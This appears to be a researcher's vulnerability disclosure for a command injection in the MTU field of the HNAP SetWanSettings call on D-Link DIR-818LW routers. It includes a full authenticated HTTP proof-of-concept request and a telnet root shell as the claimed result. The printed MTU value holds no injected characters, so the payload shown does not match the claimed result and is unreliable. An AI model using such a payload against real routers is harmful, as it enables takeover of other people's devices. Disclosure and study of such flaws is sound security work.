

DIR-818LW

Version

DIR818LW_FW206betab01

decription

An issue was discovered on D-Link DIR-818LW devices with firmware 2.06betab01.
There is a command injection in HNAPI (exploitable with Authentication) via shell metacharacters in the MTU field to SetWanSettings.

others

found by wx@teamseri0us360.
please send email to teamseri0us360@gmail.com if you have any question.

payload

bypass the check of the " MTU" by modifying in HTTP Message

```
POST /HNAPI/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/xml
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/Internet.html
Content-Type: text/xml
SOAPACTION: "http://purenetworks.com/HNAPI/SetWanSettings"
HNAP_AUTH: CC9EE871E8A8F0301B11CFB72A1F42E9 1562646471
Content-Length: 984
Connection: close
Cookie: uid=RWLuvTWHw0

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <SetWanSettings xmlns="http://purenetworks.com/HNAPI/">
      <Type>Static</Type>
      <Username/>
      <Password/>
      <MaxIdleTime/>
      <HostName/>
      <VPNIPAddress/>
      <VPNSubnetMask/>
      <VPNGateway/>
      <ServiceName/>
      <AutoReconnect/>
      <IPAddress>192.166.2.1</IPAddress>
      <SubnetMask>255.255.254.0</SubnetMask>
      <Gateway>192.166.2.3</Gateway>
      <ConfigDNS>
        <Primary>1.11.1.1</Primary>
        <Secondary>2.2.2.2</Secondary>
      </ConfigDNS>
      <MacAddress>46:DE:09:A9:80:84</MacAddress>
      <MTU>1</MTU>
      <DsLite_Configuration/>
      <DsLite_AFTR_IPv6Address/>
      <DsLite_B4IPv4Address/>
      <APN/>
      <DialNo/>
    </SetWanSettings>
  </soap:Body>
</soap:Envelope>
```

result

```
wx@wx-virtual-machine:~/iot/firmadyne$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.

BusyBox v1.14.1 (2018-12-06 15:30:58 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

# ls
firmadyne  home    lib     etc     bin     proc
include   sys     htdocs  www     tmp     mydlink
mnt        var     usr     dev     sbin    lost+found
#
```

source

```
/etc/scripts/IPV4.INET.php
```